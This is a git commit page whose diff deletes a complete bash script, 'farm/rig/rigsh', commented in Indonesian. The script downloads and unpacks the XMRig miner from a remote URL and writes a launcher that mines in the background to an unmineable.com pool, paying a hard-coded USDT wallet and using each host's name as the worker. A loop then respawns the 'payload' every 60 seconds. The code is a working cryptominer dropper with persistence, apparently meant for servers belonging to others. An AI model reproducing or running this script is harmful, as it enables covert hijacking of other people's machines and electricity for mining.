Delete farm/rig/rigsh
This commit is contained in:
parent
af91bdf3e4
commit
79aac82d7c
@ -1,91 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# URL untuk mengunduh xmrig.tar.gz
|
|
||||||
PAYLOAD_URL="https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz"
|
|
||||||
|
|
||||||
# Direktori kerja saat ini
|
|
||||||
CURRENT_DIR=$(pwd)
|
|
||||||
XMRIG_PATH="$CURRENT_DIR/xmrig"
|
|
||||||
SCRIPT_PATH="$CURRENT_DIR/run_xmrig.sh"
|
|
||||||
|
|
||||||
# Fungsi untuk mengunduh dan mengekstrak payload
|
|
||||||
download_and_extract_payload() {
|
|
||||||
TAR_FILE="$CURRENT_DIR/xmrig.tar.gz"
|
|
||||||
|
|
||||||
if command -v wget >/dev/null 2>&1; then
|
|
||||||
echo "[*] wget tersedia. Mengunduh xmrig.tar.gz..."
|
|
||||||
wget "$PAYLOAD_URL" -O "$TAR_FILE"
|
|
||||||
elif command -v curl >/dev/null 2>&1; then
|
|
||||||
echo "[*] curl tersedia. Mengunduh xmrig.tar.gz..."
|
|
||||||
curl -o "$TAR_FILE" "$PAYLOAD_URL"
|
|
||||||
else
|
|
||||||
echo "[!] Tidak ada wget atau curl tersedia untuk mengunduh xmrig.tar.gz."
|
|
||||||
return 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "[*] Mengekstrak xmrig.tar.gz..."
|
|
||||||
tar -xzf "$TAR_FILE" -C "$CURRENT_DIR"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Fungsi untuk membuat file run_xmrig.sh
|
|
||||||
create_run_script() {
|
|
||||||
cat <<EOL > "$SCRIPT_PATH"
|
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# Mendapatkan hostname server
|
|
||||||
HOSTNAME=\$(hostname)
|
|
||||||
|
|
||||||
# Menjalankan xmrig dengan parameter yang diberikan
|
|
||||||
nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \
|
|
||||||
-u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."\${HOSTNAME}" -p x > xmrig.log 2>&1 &
|
|
||||||
|
|
||||||
# Menampilkan pesan sukses
|
|
||||||
echo "xmrig berjalan di latar belakang dengan nama worker: \${HOSTNAME}. Log output disimpan di xmrig.log"
|
|
||||||
EOL
|
|
||||||
chmod +x "$SCRIPT_PATH"
|
|
||||||
echo "[*] File run_xmrig.sh berhasil dibuat."
|
|
||||||
}
|
|
||||||
|
|
||||||
# Fungsi untuk menjalankan xmrig
|
|
||||||
run_command() {
|
|
||||||
if [[ ! -f "$XMRIG_PATH" || ! -f "$SCRIPT_PATH" ]]; then
|
|
||||||
echo "[*] Payload atau skrip tidak ditemukan. Mengunduh dan menyiapkan xmrig..."
|
|
||||||
download_and_extract_payload
|
|
||||||
create_run_script
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [[ ! -f "$SCRIPT_PATH" ]]; then
|
|
||||||
echo "[*] File run_xmrig.sh tidak ditemukan. Membuat ulang..."
|
|
||||||
create_run_script
|
|
||||||
fi
|
|
||||||
|
|
||||||
bash "$SCRIPT_PATH"
|
|
||||||
EXIT_CODE=$?
|
|
||||||
|
|
||||||
echo "Command executed: bash $SCRIPT_PATH"
|
|
||||||
echo "Exit code: $EXIT_CODE"
|
|
||||||
|
|
||||||
if [[ "$EXIT_CODE" -ne 0 ]]; then
|
|
||||||
echo "[*] Exit code non-zero detected ($EXIT_CODE). Checking active session..."
|
|
||||||
|
|
||||||
if pgrep -f "./xmrig" >/dev/null 2>&1; then
|
|
||||||
echo "[*] Active session detected. Skipping payload execution."
|
|
||||||
else
|
|
||||||
echo "[*] No active session detected. Spawning payload..."
|
|
||||||
nohup bash "$SCRIPT_PATH" > /dev/null 2>&1 &
|
|
||||||
fi
|
|
||||||
else
|
|
||||||
echo "[*] Exit code zero. XMRig is running successfully."
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
# Fungsi untuk memastikan skrip berjalan terus menerus
|
|
||||||
run_persistently() {
|
|
||||||
while true; do
|
|
||||||
run_command
|
|
||||||
sleep 60
|
|
||||||
done
|
|
||||||
}
|
|
||||||
|
|
||||||
# Mulai menjalankan perintah secara terus menerus
|
|
||||||
run_persistently
|
|
Loading…
Reference in New Issue
Block a user